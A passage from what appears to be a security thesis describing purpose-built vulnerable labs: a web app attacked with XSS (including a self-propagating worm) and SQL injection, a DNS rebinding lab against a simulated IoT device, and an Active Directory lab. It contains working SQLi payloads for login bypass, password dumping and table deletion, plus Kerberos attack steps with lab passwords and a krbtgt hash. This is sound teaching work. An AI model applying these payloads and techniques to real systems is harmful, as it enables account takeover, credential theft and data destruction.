This is a built-in JavaScript function that displays a message in a pop-up box on the user’s web browser.
This function is commonly used to demonstrate that a website is vulnerable to XSS attacks because it
allows to show, in a quick and simple way, that it is possible to inject code into the vulnerable web page
by displaying a visible message.
The attacker machine is equipped with Python scripts that exploit both vulnerable endpoints. In the
case of /create_post, the goal is to write a post that contains JavaScript code in the content field.
When users see the post (either on the attacker’s profile page or on Hackergram’s homepage), the web
browser will execute the code.
In /settings, the goal is similar. However, the JavaScript code can be injected in different fields:
name, bio and photo. In this case, when users navigate to the attacker’s profile page, the web browser
will execute the code.
The Python script in Listing A.7 exploits the vulnerable /create_post endpoint. The script first makes
a request to the /reset endpoint to force a clean state on the web application and, then, registers and
logs in the @mallory user. Lastly, it makes a request to the /create_post endpoint, creating a new post
with the following content:
1 <script>alert("XSS")</script>
66
This post is going to be stored in Hackergram’s database. When the victim visits the homepage, the
web application will send all posts (including the malicious one) and the browser is going to execute the
JavaScript code, instead of displaying the content of the post.
This XSS attack can be simulated by following the outlined steps:
Step 1: Execute the Python script on the attacker’s machine.
Step 2: Use the victim’s browser to visit Hackergram’s homepage (or Mallory’s profile page).
The victim’s web browser executes the JavaScript code and, as shown by Figure 4.5(a), it displays a
pop-up box with the message XSS. Therefore, the attacker succeeded in injecting JavaScript code in the
malicious post.
Similarly, the Python script in Listing A.8 exploits the vulnerable /settings endpoint. The script takes
the same approach but, in this case, makes a request to the /settings endpoint, updating the name field
in the attacker’s profile to:
1 <script>alert("XSS")</script>
The same process can be applied to the bio field and the Python script to exploit it can be found in
Listing A.9.
What is more interesting is finding a way of using the photo field to attack the vulnerable endpoint.
67
In this case, the approach is slightly different as one cannot simply provide a picture with the following
name:
1 <script>alert("XSS")</script>
Here, the idea resides in providing a non-existent picture and trying to make the website run code in
case it fails to load the picture (which it will!). One way to do that is by uploading a new profile picture
with the following filename:
The [Link]" part of the payload provides the name of the non-existent file and closes the quotes
of the filename on the JavaScript code loaded by the web browser. The onerror attribute is the event
handler that is going to be executed when an error occurs while loading the picture. The setTimeout
function is used to delay the execution of the code inside the function provided as the first argument by
the specified number of milliseconds in the second argument. In this case, the delay is 0 milliseconds,
so the code will be executed almost immediately. The alert part is the usual XSS payload but, in this
context, it is using [Link]() to convert the sequence 88,83,83 into the XSS string. This
must be done in this particular situation because using a string directly inside the alert function will
force the use of quotes, thus closing the quotes opened by onerror.
The Python script in Listing A.10 implements this approach to exploit the photo field of the /settings
endpoint.
The following steps can be replicated to perform this XSS attack:
Step 1: Execute the Python script on the attacker’s machine.
Step 2: Use the victim’s browser to visit Mallory’s profile page.
As a consequence, the victim’s web browser executes the JavaScript code. Figure 4.6 confirms
that the web browser displays a pop-up box with the message XSS. Hence, the attacker succeeded in
injecting JavaScript code in the photo field of their profile.
Figure 4.7 illustrates how the XSS payload manipulated the <img> HTML tag used to load the profile
picture to include the malicious JavaScript code. Notice that the filename of the image is prepended with
a pseudorandom 8-digit string to avoid mixing pictures with the same name that different users might
upload to the platform.
In a real-life scenario, the attacker needs to trick the victim into clicking on a malicious link (e.g., by
employing phishing techniques) in order to perform a Reflected XSS attack. However, these simulations
68
Figure 4.6: Stored XSS on profile picture
will not cover this step and, instead, will show how these malicious links can be fabricated and what
happens when a victim clicks on them.
The /users and /posts endpoints are vulnerable to this type of XSS and can be exploited with a
strikingly similar approach, as both work in an analogous way. These two endpoints allow to search
for users and posts, respectively, by providing a search query. When an empty string is provided,
Hackergram simply displays all users or all posts. This string is passed to the web application through
an argument in the GET request called search. Furthermore, both endpoints include the content of the
search query in their web page, making them vulnerable to Reflected XSS.
For instance, a GET request to /users?search=mallory would return all users with the string mallory
on their username, the same way as a GET request to /posts?search=mallory would return all posts
with content that include the exact same string.
That being said, the attacker can provide a XSS payload on the search parameter, since the web
application includes it on the web page and the web browser will interpret it as valid JavaScript code.
To simulate this XSS attack, the victim’s web browser can be used to visit one of the following pages
on Hackergram:
1 [Link]
2 [Link]
After navigating to one these links, the victim’s web browser executes the JavaScript code. Fig-
ure 4.8(a) and Figure 4.8(b) show that the web browser displays a pop-up box with the expected mes-
69
sage (XSS), indicating the success of the attacks.
Notice that the payload is not entirely similar to <script>alert("XSS")</script>. Special charac-
ters (e.g, parentheses) in URLs must be properly encoded using URL encoding. In this case, %28 and
%29 encode the ’(’ and ’)’ characters, and %2F encodes the ’/’ character.
Although a URL encoded with JavaScript code may seem very suspicious, it is important to note that,
when trying to trick the victim into clicking the malicious link, there are strategies to obfuscate the mali-
cious code within the URL. One of them is using URL shorteners. For instance, by using the popular URL
shortener bitly [64], [Link]/users?search=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
can be simply converted to: [Link]/3Bdmgi9.
The nature of Hackergram’s Stored XSS vulnerabilities allows a particularly interesting type of malware:
XSS worms. Unlike traditional worms that propagate via network connections, XSS worms spread
through the web application’s user interface. The self-propagation feature of XSS worms is achieved by
injecting malicious code that propagates among visitors of the vulnerable web page.
In Hackergram, an attacker may attempt to create an XSS worm using the posts feature. The goal
would be to create a post with malicious JavaScript code that, when seen by other users, would trigger
the creation of another post made by the user who saw the original malicious post. This allows the worm
to propagate very rapidly through the web application since not only the users who see the original posts
get infected, but also the ones who see the posts created by the malicious code on behalf of the victims.
The JavaScript code in Listing A.11, when injected in a post, makes the victims create a post with
the following content: "Mallory hacked me".
70
In order to achieve self-propagation, the code must also add itself to the posts created on behalf of
the victims. This can be done by using the DOM of the page. Listing A.13 is an improved version of
the previous script that uses the DOM to add itself to the posts of the infected users. Therefore, all new
posts created by the original malicious post will include the "Mallory hacked me" string and a copy of
the code of the worm. Thus, these new posts can also infect other users and trigger the creation of more
posts (hence, the designation of worm).
The worm also leverages the DOM to make an important verification. If the victim is Mallory herself,
then the worm will not propagate. This is achieved by the following line of code:
1 [Link]("user").[Link]("mallory")
This expression will return an integer value that represents the index position of the first occurrence of
the string "mallory" within the HTML code of the user element, or -1 if the string is not found. Naturally,
the worm will only propagate if it returns -1.
By combining the Python script that exploits the /create_post endpoint (Listing A.7) with this JavaScript
payload, one can create a XSS worm in Hackergram (Listing A.14). The attack can be performed by
following the outlined steps:
Step 1: Execute the Python script on the attacker’s machine.
Step 2: Use the victim’s browser to visit Hackergram’s homepage (or Mallory’s profile page), as
shown by Figure 4.9.
This action forces the web browser to execute the malicious JavaScript code and the worm propa-
gates to the first victim.
Step 3: Log into Hackergram with another user and visit Mr. Robot’s profile to see the post that was
created by the worm, as illustrated by Figure 4.10(a).
71
Similarly, the web browser is again forced to executed the malicious JavaScript code and the worm
propagates further to the second victim, as Figure 4.10(b) shows.
The Hackergram web application is vulnerable to every type of SQLi attack covered in Section 2.4, and
some of the endpoints can be exploited with more than one technique. While some of these attacks only
require the use of Python scripts, others depend on the user interface to demonstrate the success of the
attack. In the case of the latter, the web browser in the network topology will work as the attacker’s web
browser, instead of the victim’s web browser.
The /login endpoint enables Hackergram to implement an authentication mechanism and users must
go through it in order to fully explore the web application’s features. However, this endpoint is vulnerable
and allows an attacker to log in as any existing user without knowing their password.
Despite the fact that the login form expects a valid combination of username and password, the
former can be manipulated so that the web application completely ignores the latter. In the username
field, a possible payload that allows to log in as the Administrator user is:
In this case, the web browser can be used to help visualize the bypass of the authentication mecha-
nism employed by Hackergram.
Step 1: Visit Hackergram’s login page.
72
Step 2: Insert the payload in the username field and any value in the password field, as depicted by
Figure 4.11(a).
Step 3: The web application ignores the provided password and the log in is successful, as illustrated
by Figure 4.11(b).
The Union-based technique can be used in Hackergram to, for instance, dump all users and passwords
from the database. The endpoints that are vulnerable to this attack are /users and /posts and the
exploit works in the exact same way. Although the attack can be performed on the user interface, the
Python script in Listing A.15 implements the injection. Moreover, it interprets and parses the response
to provide an easy-to-read output. The exploit script injects the following payload in the search field of
the /users endpoint:
1 test ' UNION SELECT username, username, name, password, password FROM Users --
Running the script on the attacker’s machine generates the output presented in Figure 4.12, effec-
tively allowing the attacker to obtain all users and passwords from the database.
The Piggybacked injection allows an attacker to, for example, delete tables from Hackergram’s database.
The /users and /posts endpoints are vulnerable to this attack and can be exploited with the same
payload. The Python script in Listing A.16 drops the Posts table by injecting the following payload in the
search field of the /posts endpoint:
73
Figure 4.12: Users and passwords dump
After running the script, the attacker is able to break Hackergram’s posts feature and the web appli-
cation stops working as intended, as perceived by the error message in Figure 4.13. This technique can
be used to delete every table from the database.
The Error-based vulnerability in Hackergram enables the identification of the software used to manage
the database system: MySQL. With this information in hand, an attacker can focus on MySQL-specific
payloads to further enumerate the database schema. By simply providing an apostrophe (’) in the
search field of the /users or /posts endpoints, an attacker can force the web application to generate an
error such as the following:
74
1 (1064, "You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '%'' at line 1"
)
After that, one way to leverage this newly-found information is using a union-based injection to re-
trieve sensitive data about the database structure from the INFORMATION_SCHEMA table. For instance,
with the following payload:
1 ' UNION SELECT '1', TABLE NAME, '1', '1', COLUMN NAME, table schema FROM
INFORMATION [Link] --
Although this attack can be performed on the user interface, the Python script in Listing A.17 imple-
ments the two-step injection. In addition, it interprets and parses the response to provide an easy-to-read
output. The exploit script starts by providing an apostrophe (’) in the search field of the /posts endpoint
to confirm that MySQL is used to manage the relational database of the web application. Afterwards, it
injects the aforementioned payload to obtain the schema of Hackergram’s database.
Running the script on the attacker’s machine generates the output presented in Figure 4.14.
The /users and /posts endpoints are also vulnerable to inference attacks, such as Boolean-based
SQLi. Here, an attacker can extract sensitive information from the database through bruteforce. For
example, the following payload can be used inside a nested for loop to discover the password of any
user:
75
In this payload:
If the web page returns a match for the search, the character being tested corresponds to the char-
acter of that position in the user’s password.
The Python script in Listing A.18 uses this strategy to bruteforce the password of the Administrator
user by targeting the search field of the /posts endpoint. The outer for loop iterates over <position>,
while the inner loop tests all letters (lowercase and uppercase), digits and punctuation against <char>.
When a character is found, the script moves on to the next position.
Figure 4.15(a) displays the output produced when the script is executed on the attacker’s machine.
Once again, the /users and /posts endpoints are vulnerable to this type of injection. The goal of this
attack is the same as the previous one and the technique is similar. However, instead of depending on
the result of the search, it depends on the amount of time that the web application takes to respond to
the requests made by the exploit script. In this case, the payload is:
If the web page takes more than 2 seconds to send the response, the character being tested corre-
sponds to the character of that position in the user’s password. Note that a higher value can be provided
to the SLEEP function in case there is a considerable delay in the web application.
The Python script in Listing A.19 implements this technique to bruteforce the password of the Admin-
istrator user by targeting the search field of the /posts endpoint. The exploit script functions in a similar
fashion to the one in Listing A.18.
Figure 4.15(b) displays the output produced when the script is executed on the attacker’s machine.
Another vulnerable endpoint not yet covered by the previous SQLi attacks is the /settings endpoint.
This one is particularly interesting because, unlike the aforementioned examples, it allows to change
user data. In particular, an attacker can change other user’s profile settings, such as their names, bio
and password.
This can be achieved by providing a payload such as the following, in the bio field:
76
(a) Using Boolean-based SQLi (b) Using Time-based SQLi
1 user was pwned', username = 'dpr', name = 'pwned', password = '123' WHERE
username = 'dpr' --
The Python script in Listing A.20 injects this payload in the bio field of the /settings endpoint. When
executed, the attacker is able to change @dpr’s bio to ”user was pwned”, name to ”pwned” and password
to ”123”. Figure 4.16 shows @dpr’s profile after the attack.
The photo field of the /settings endpoint can be similarly exploited with this payload, by providing
it as the name of the new profile picture. The corresponding Python script can be found in Listing A.21.
77
78
Rebind&Conquer Lab
5
Contents
5.1 Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
5.2 Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
5.3 Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
79
80
Rebind&Conquer Lab is a simple network environment that allows to demonstrate how the DNS
Rebinding attack works and help students and aspiring professionals gain hands-on experience on
how this technique can be used to bypass a firewall to attack private servers behind Network Address
Translation (NAT).
In this setup, there is a web server that simulates an IoT device which can be used to control the
lights inside the user’s house. Like many IoT devices, there is a web interface that allows the user to
turn the lights on and off. There is also a web server that hosts the attacker’s malicious website and a
DNS server that contains the records for the attacker’s domain name.
The source code for Rebind&Conquer Lab is available at 0xDrogon/rebindconquer-lab.
Before detailing the implementation of Rebind&Conquer Lab, this section presents another project that
addresses the DNS Rebinding attack and engages in a comparative analysis. The following subsection
delves into the DNS Rebinding Attack Lab [65], which is part of the SEED Labs project.
The DNS Rebinding Attack Lab allows users to experience how the DNS Rebinding attack works [65].
Similarly to Rebind&Conquer Lab, it demonstrates that this technique can be used to circumvent a
firewall and attack a machine that simulates an IoT device (a smart thermostat that allows to set the
temperature of the user’s house).
The main difference between SEED Labs’ DNS Rebinding Attack and Rebind&Conquer Lab resides
in the environment used to simulate the network setup. The DNS Rebinding Attack Lab uses a Linux
Virtual Machine (VM) with Docker containers that emulate each of the elements involved in the attack
(i.e., a router, a local DNS server, the attacker’s web server, the attacker’s nameserver and the IoT
device). Rebind&Conquer Lab also utilizes Docker containers but takes advantage of the GNS3 network
simulation platform to build a virtual network that closely resembles real-world scenario.
5.2 Overview
Rebind&Conquer Lab uses GNS3 to emulate a network that allows to simulate the DNS Rebinding
attack in a realistic setting. To achieve that, three Docker containers were developed:
81
• The DNS server, which is available at 0xdrogon/dns-rebinding-bind9.
On top of that, there is a container with a web browser that functions as the victim’s machine and a
router that separates the parties in different networks.
5.2.1 Router
There is a router in the lab that separates each party involved in the attack in different networks to make
the scenario as realistic as possible. The victim’s network is behind a simple firewall that:
• Allows internal machines to access external machines (i.e., the DNS server and the attacker’s web
server).
• Prevents any external machine from accessing the victim’s web server.
Therefore, the attacker cannot directly access the victim’s web server, hence the need for a DNS
Rebinding attack.
5.2.2 Victim
On the victim side, a Firefox web browser container is used to access both the local IoT web server
and the malicious web server controlled by the attacker. To easily and quickly demonstrate the at-
tack, Firefox’s DNS cache (explained in Section 2.5.2) was disabled. This can be achieved by typing
about:config in the URL field, searching for dnsCache and changing the value of the following entries
to 0 (default is 60):
[Link]: 0
[Link]: 0
Note that the attack would still be possible without changing the cache configuration on the web
browser. However, the script on the malicious website would have to wait 60 seconds before launching
the attack.
The target server emulates an IoT device with a built-in web server that allows to manage the lights
of the victim’s house. Generally, these IoT devices are placed in home networks behind a firewall with
NAT and cannot be trivially accessed from the outside, which often leads to manufacturers neglecting
the implementation of strong forms of authentication on these devices.
This device is emulated by the victim’s container (0xdrogon/dns-rebinding-victim), which runs a
simple Python web server and a web page that allows to easily interact with it, depicted in Figure 5.1.
In order to change the state of the lights, one must send a POST request to the /lights endpoint with
three arguments: the target lights (i.e., hallway, kitchen, bedroom, living room and bathroom), the value
(true or false, indicating if the lights should be on or off) and an One-Time Password (OTP).
82
Figure 5.1: IoT web page before the attack
This OTP is a secret that can only be used once and is a pseudo-random string with ten characters
that is generated every time that a GET request is made to the /password endpoint. Thus, one must
first make a GET request to /password and use the provided OTP in the POST request to /lights.
If no password or an already used password is sent in the request, the state of the lights will not be
successfully changed. This OTP is used to defeat the CSRF attack (as seen in Section 2.2) and shows
how this protection can be bypassed by the DNS Rebinding attack. In this scenario, without the OTP, a
simple CSRF attack would be sufficient to attack this IoT device.
5.2.3 Attacker
The attacker container runs a Python web server with a simple web page, shown in Figure 5.2, that calls
malicious JavaScript code. The JavaScript code uses XMLHttpRequest to make requests to the target
web server in order to turn on all the lights in the victim’s house.
The web page also has a ten second countdown and the attack is launched when it reaches zero.
This countdown works mainly as a waiting period for the nameserver to change the mapping of the
attacker’s hostname ([Link]) from the IP address of the malicious website to
the IP address of the target server.
The malicious JavaScript code that is executed by the victim’s web browser attempts to turn on all
the lights in the victim’s house. To achieve that, it makes five requests to the /password endpoint, each
followed by a request to the /lights endpoint. In simpler terms, it sends a request to turn on each of
the five lights and, for each one of them, it first obtains the current OTP.
The DNS server container runs the BIND 9 application and it is used by all parties in the network.
This machine also runs a Python script in the background that uses Scapy to listen for DNS requests
83
Figure 5.2: Attacker’s web page before the attack
to [Link]. When the victim makes the first request, it calls a bash script to
change the IP mapping to the target server in the BIND 9 configuration files and, afterwards, it calls a
second bash script to change the IP address back to the attacker web server. This is done to simulate
the changing of the IP address mapping in an automated, yet realistic, way.
In a real-life scenario, the attacker may or may not control the DNS server. However, one does not
necessarily need to control it in order to make the attack successful. As the domain owner, the attacker
has control over the authoritative responses for [Link]. Therefore, the attacker can
change the IP address of his hostname as he pleases.
5.3 Attack
To demonstrate the DNS Rebinding attack, the network topology depicted in Figure 5.3 was set up in
GNS3. As previously explained, there is a router separating each component in different networks and
the following machines running in Docker containers:
• The victim’s private web server (the target of the attack), which is an IoT device that manages the
lights in the victim’s house.
• The attacker’s machine, which is a web server with malicious code on its web page targeting the
victim’s server.
• A DNS server used by the victim that is going to provide the authoritative responses for the at-
tacker’s web server.
In the initial stage, all the lights in the victim’s house are turned off, as previously displayed by Figure 5.1.
84
Figure 5.3: Network Topology on GNS3 for the DNS Rebinding attack
Step 1: To simulate the DNS Rebinding attack, the victim’s web browser has to access the malicious
web server, as already shown in Figure 5.2. Figure 5.4 shows that when the first DNS query is made,
the DNS server answers with the real IP address of the malicious web server ([Link]).
Step 2: When the countdown in the web page reaches 0, the ”You have been pwned!” mes-
sage is printed and the victim’s web browser runs the malicious script that accesses the target server.
Therefore, a new DNS request is going to be made to the DNS server. Figure 5.5 confirms that
[Link] now resolves to [Link]. The logs in the console can be seen in
Figure 5.6(a) and they show the OTP used in each POST request made to the /lights endpoint and
the respective answer to each one of those requests.
85
Step 3: To confirm that everything worked as expected, the victim’s web browser can be used to
access the web page in the private server. As shown in Figure 5.6(b), all the lights in the victim’s house
have been turned on.
(a) Attacker’s web page after the attack (b) IoT web page after the attack
To demonstrate that a DNS Rebinding technique is necessary in order to attack this IoT web application,
a failed scenario was also simulated. In this case, there is no change in the mapping of the IP address
of [Link] as it always points to the malicious web server ([Link]) during the
experiment. Furthermore, the script on the attacker’s web page attempts to make the HTTP requests
directly to the target server’s IP address ([Link]), instead of using the hostname.
Once the victim opens the malicious website and the countdown reaches zero, the attacking script
sends the first GET request to the /password endpoint. Figure 5.7 shows that the SOP (mentioned
in Section 2.5) blocked this request for being cross-origin and attempting to read data from the target
server. Hence, the attack failed.
86
HacktiveDirectory Lab
6
Contents
6.1 Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
6.2 Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
6.3 Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
87
88
HacktiveDirectory Lab was developed to be an intentionally vulnerable AD network that can be de-
ployed on AWS with the purpose of providing students and security enthusiasts with a vulnerable remote
environment where they can familiarize themselves with AD networks and gain practical experience in
performing and mitigating various types of AD attacks, in particular, the ones covered in Section 3.6.
Setting up a realistic AD lab environment for pentesting can be a challenging task due to the resource-
intensive nature of deploying Windows Servers in VMs. This task requires substantial allocations of
memory, storage capacity and processing power.
The high requirements of these environments might pose a barrier and prevent students, educators
and enthusiasts from having hands-on training on AD pentesting. Therefore, there is a clear need for
a more efficient, cost-effective and easily accessible solution for deploying AD labs. By being a remote
environment on AWS, this lab overcomes the limitations typically associated with local AD labs at a
reasonable cost.
The source code for HacktiveDirectory Lab is available at 0xDrogon/hacktivedirectory-lab.
Before delving into the specifics of HacktiveDirectory Lab, this section explores other projects in the field
that have similarities with it and discusses how they compare with each other. By comparing these labs,
it is possible to analyse the advantages and disadvantages of each solution.
The following subsections dive into the Game Of Active Directory (GOAD) [66] and Adversary Sim-
ulation Lab [67, 68] projects, where the strengths and weaknesses of each approach are compared to
HacktiveDirectory Lab.
6.1.1 GOAD
Similarly to HacktiveDirectory Lab, GOAD is a vulnerable AD environment that can be used to practice
AD pentesting [66]. Unlike the proposed solution, GOAD is a local lab that uses VirtualBox to deploy
several VMs running trial versions of Windows.
GOAD consists of three different domains with trust relationships, and a Domain Controller and a
Windows server in each of them. On top of that, GOAD implements different misconfigurations and
vulnerabilities that were intentionally configured to provide the ability to test a wide range of AD at-
tacks. Furthermore, GOAD is developed and actively maintained by a cybersecurity company that has
extensively tested the project.
All of this makes GOAD an extremely complete and reliable lab environment. Moreover, since the
network is hosted locally, there is no need for Internet connectivity which makes the lab accessible
89
offline. In addition, the lab avoids monetary costs since it does not use any cloud services and the use
of trial versions of Windows removes the need for paid licenses.
However, GOAD also has some limitations. Firstly, it is a local lab and, as stated before, requires
a significant allocation of resources. To be precise, this project needs a total space of 115GB (not
counting on potential snapshots) and 24GB of RAM [66]. This high requirements make it very difficult
for students and enthusiasts to be able to afford a local environment such as GOAD. Moreover, the lab
is not scalable as adding more machines results in even higher requirements. Lastly, the use of trial
versions of Windows introduces another downside. After the 180 days of trial period, a valid license is
needed on each machine or the lab must be rebuilt [66].
In conclusion, GOAD is an economical option that comes with the trade-off of having high hardware
requirements (which are not accessible to everyone, specially students) on the user’s workstation. De-
spite being a very complete and tested environment, it lacks the scalability and flexibility of the proposed
solution.
Adversary Simulation Lab is a very simple AD network. Unlike GOAD, this project is a remote environ-
ment that can be deployed on AWS. This demo lab features a simplified setup with two domains with a
two-way trust relationship and only a Domain Controller in each [67].
Compared to the previous project, Adversary Simulation Lab solves some of GOAD’s limitations
(mainly the ones associated with the fact that it is a local lab). By being a cloud-based solution, this lab
project does not have high hardware requirements on the user’s workstation, which makes it accessible
to most students and enthusiasts. Furthermore, it is very scalable as it allows the user to add more
machines and features to the network.
However, Adversary Simulation Lab is an extremely simple environment that has a very limited scope.
For instance, it lacks more Windows machines to allow for more vulnerabilities and the ability to perform
some attacks. Therefore, it is not a very realistic representation of an AD deployment and it should have
expanded capabilities.
In fact, HacktiveDirectory Lab is foundationally based on Adversary Simulation Lab. It takes the
approach of this cloud-based network and includes additional machines and features that result in a lab
with a richer setup and that provides a more realistic experience to the user, as described throughout
Section 6.2.
90
6.2 Overview
HacktiveDirectory Lab uses Terraform [69], an infrastructure as code tool, to automate the process of
deploying the network on AWS. The environment is composed of two domains with a two-way trust
relationship and the following machines:
• [Link]:
• [Link]:
As depicted in Figure 6.1, each domain includes a Windows Server 2019 machine acting as a Domain
Controller (DC01 and DC02, respectively) and a Windows Server 2019 machine to simulate additional
domain servers (SRV01 and SRV02, respectively). In addition, a Debian 10 machine is included in the
[Link] domain to serve as the attacker.
Powershell Desired State Configuration (DSC) [70] provides a way to configure all Windows ma-
chines as code. Thus, DSC is used in this lab for all the necessary configurations in each machine and
overall configurations of the AD domain.
91
6.2.1 Terraform
Terraform is an open-source tool developed by HashiCorp that automates the provisioning and deploy-
ment of an infrastructure on any cloud platform, supporting essentially any service provided by cloud
service providers such as AWS, Google Cloud and Microsoft Azure [69]. In the context of this project,
Terraform is used to:
(a) Creating a Virtual Private Cloud (VPC) for the lab with two subnets (one for each domain)
(b) Providing connection to the Internet and between the subnets (i.e., it configures a default
gateway and the Dynamic Host Configuration Protocol (DHCP) and DNS services)
(c) Allowing traffic from an external management IP address (i.e., the IP address of the deployer
of the lab)
2. Deploy four Windows Server machines (DC01, SRV01, DC02, and SRV02)
(a) Installing pentesting tools such as Nmap, Hashcat, Kerbrute, Responder and Impacket
4. Create an S3 bucket where it stores the compiled files from the DSC script
The Terraform component of the lab can be split into two files: the main Terraform script file that
performs the aforementioned tasks and the auxiliary Terraform variables file that contains the necessary
variables used by the main script, which can be changed and customized by the user of the lab.
Microsoft’s DSC enables configuration as code by leveraging the PowerShell scripting language. It
allows the creation of scripts that define and configure the target machines in a declarative way [70].
In the context of this project, DSC is used to write a script that defines the configuration of each of the
four Windows machines. It is important to note that the configuration of the DC machines also includes
the configuration of the domains themselves. This script compiles to four different files (one for each
machine) and the Terraform script is responsible for applying them to each Windows machine.
Regarding the Domain Controller of the [Link] domain (DC01), the DSC script configures
the machine as follows:
• Installs AD DS;
92
• Creates the [Link] domain;
The server machine of the [Link] domain (SRV01) is configured in the following way by
the DSC script:
• Allows domain users to access the server via Remote Desktop Protocol (RDP).
With respect to the Domain Controller of the [Link] domain (DC02), the DSC script applies
the following configurations:
• Installs AD DS;
Lastly, the DSC script configures the server machine of the [Link] domain (SRV02) in the
following way:
93
• Disables the firewall and Windows Defender;
Table 6.1 lists all existing users in the [Link] and [Link] domains, their respective
passwords and a brief description about the role of each user in the domain, signaling how some might
be targets for specific attacks.
Regarding the cost of the lab environment, it is estimated that it costs around 0.12$ per hour [71],
which would result in a cost of around 90$ per month, in case the instances were always running.
However, the lab can be deployed, used and destroyed as needed and, with just a few dollars, lab users
are able to thoroughly experiment and test the vulnerable AD network.
It is important to state that HacktiveDirectory Lab is an extremely vulnerable environment and in-
tended for educational purposes only. Thus, it should not be used in production. Moreover, HacktiveDi-
rectory Lab might be vulnerable to more attacks than the ones covered in the following section.
6.3 Attacks
Figure 6.2 depicts the network setup of the HacktiveDirectory Lab in AWS and how lab users are able to
interact with it. The lab machines in each domain communicate with each other through the IP addresses
shown in Figure 6.2. However, lab users must use the public IP addresses provided by AWS in order
94
to directly access each machine. The attacker machine can be accessed via SSH, while the Windows
machines can be accessed via RDP.
When breaching an AD network, attackers usually try to achieve the initial foothold by acquiring a pair
of credentials (that does not necessarily need to be from a user with high privileges). Therefore, as
explained in Section 3.6.1, a common approach consists of enumerating users on the domain with a
wordlist of common AD usernames and, then, performing a Password Spraying attack.
It is relevant to note that the wordlists used throughout these demonstrations purposefully contain
some of the usernames and passwords of users from the [Link] domain to simplify the pro-
cess of these attacks and reduce the time it takes to, for example, crack password hashes. However,
very extensive wordlists that are largely effective when pentesting real-life AD networks can be found
online [72].
To start, Kerbrute is used to enumerate some users in the [Link] domain. This tool uses
the strategy described in Section 3.6.1 (i.e., the ”PRINCIPAL UNKNOWN” error means the username
is not valid, while the ”PREAUTH REQUIRED” error means it is valid) to discover valid users from a
wordlist of usernames. From the ten entries that were tested, five are valid usernames in the domain,
as depicted by Figure 6.3.
Figure 6.4(a) and Figure 6.4(b) show captured AS-REQ messages for the admin and tiago user-
names being sent from the attacker’s machine to the DC.
Similarly, Figure 6.5(a) and Figure 6.5(b) show the captured error messages for these usernames
95
Figure 6.3: User enumeration in the [Link] domain
(a) For the admin username (b) For the tiago username
being sent from the DC to the attacker’s machine. The usernames are not directly specified in these
messages but it is possible to associate them with the corresponding AS-REQ message through the
UDP port number. As expected, the AS-REP message for the admin username returns the ”PREAUTH
REQUIRED” error, while the other one returns the ”PRINCIPAL UNKNOWN” error.
(a) For the admin username (b) For the tiago username
After discovering some users, Kerbrute can be used to perform a Password Spraying attack, allowing
to try a common password on the discovered users. Figure 6.6 shows that spraying the password
Password123 across the discovered usernames results in a successful login for the leon user.
After this, an attacker is able to achieve an initial foothold on the network by acquiring a pair of valid
credentials that can be used to further enumerate the domain and perform additional attacks.
96
Figure 6.6: Password Spraying attack against the discovered usernames
Before using the first set of credentials, there is another attack that can be performed: the AS-REP
Roasting attack. As detailed in Section 3.6.2, AS-REP Roasting abuses the ”Do not require Kerberos
preauthentication” property in a user, which usually happens due to a misconfiguration or a configuration
to allow backwards compatibility.
Impacket’s [Link] takes the valid usernames that were discovered with Kerbrute and checks
if any of those users have this vulnerable property enabled. If a vulnerable user is found, the tool gets
a TGT for that user, which can then be used to crack the password. As shown by Figure 6.7, user
[Link] is vulnerable to this attack and the tool was able to obtain a TGT on her behalf.
Figure 6.8 displays the AS-REQ messages for each of the valid usernames being sent from the
attacker’s machine to the DC, as well as the corresponding responses. As expected, the DC returns the
”PREAUTH REQUIRED” error for four of the five usernames and sends an AS-REP message for one of
them ([Link]).
97
With a Kerberos TGT in hands, attackers can proceed to trying to crack the user’s password offline.
Figure 6.9 illustrates how Hashcat can be used to achieve this goal and discover Angela’s password:
Jogging1988.
Any authenticated user within an AD network can retrieve domain information via LDAP. Therefore, with
a valid set of credentials on the domain, attacks are able to extract relevant information from other users
that might help them move laterally or even escalate privileges. For instance, attackers can get the entire
list of domain users, groups and trust relationships. Regarding the first, attackers are able to acquire the
following information:
• When was the last time each user was logged in;
• When was the last time a user’s password was changed (this one can be particularly interesting);
On the subject of the description field, sometimes administrators might write sensitive information
there and forget to delete it later. For example, default passwords may be written on this field and never
deleted. On top of that, users might never change the default password.
With valid user credentials, ldapdomaindump [73] is able to collect and parse all the information
available via LDAP. Thus, it can be used to extract this kind of sensitive information from the domain, as
shown by Figure 6.10.
Figure 6.11 presents a snippet of the gathered information that contains the description field of the
[Link] user: ”DELETE THIS LATER! Password: RGFyayBBcm15”. Hence, another pair of user
credentials is obtained.
98
Figure 6.10: Using ldapdomaindump to retrieve information from the domain
6.3.4 Kerberoasting
Another attack that becomes possible after acquiring a valid set of user credentials on the target domain
is Kerberoasting. As explained in Section 3.6.3, this attack targets AD accounts that are associated with
an SPN.
Impacket’s [Link] tool finds SPNs that are associated with a normal user account and re-
quests a TGS for those services in the name of the compromised user. Figure 6.12 illustrates this tool be-
ing used to discover that the [Link] user is associated with the MSSQL/[Link]
service and requests a TGS for it as the leon user.
Figure 6.12: Requesting a TGS for a service associated with a normal user account
After successfully acquiring a Kerberos TGS, attackers attempt to crack the user’s password offline.
Figure 6.13 demonstrates the process of using the Hashcat tool to crack Darlene’s password: M00npie.
In order to perform a Golden Ticket attack, an attacker needs the password hash of the krbtgt account,
which is only obtainable with elevated privileges on the AD domain. To demonstrate this attack, the
admin user account is going to be used to get the krbtgt’s password hash.
Figure 6.14 shows how that can be obtained using Impacket’s [Link]. In this case, the
password hash is: 4412771e363f24bca45e6f76a9da4993.
Before creating the ticket, there is another piece of information that is required: the SID of the domain.
99
Figure 6.13: Cracking Darlene’s password with Hashcat
Impacket’s [Link] can be used to retrieve this identifier from the DC. As portrayed by Figure 6.15,
the domain SID is: S-1-5-21-1539180732-1701555097-448047104.
Figure 6.16 demonstrates how Impacket’s [Link] tool can be used to create a golden ticket for
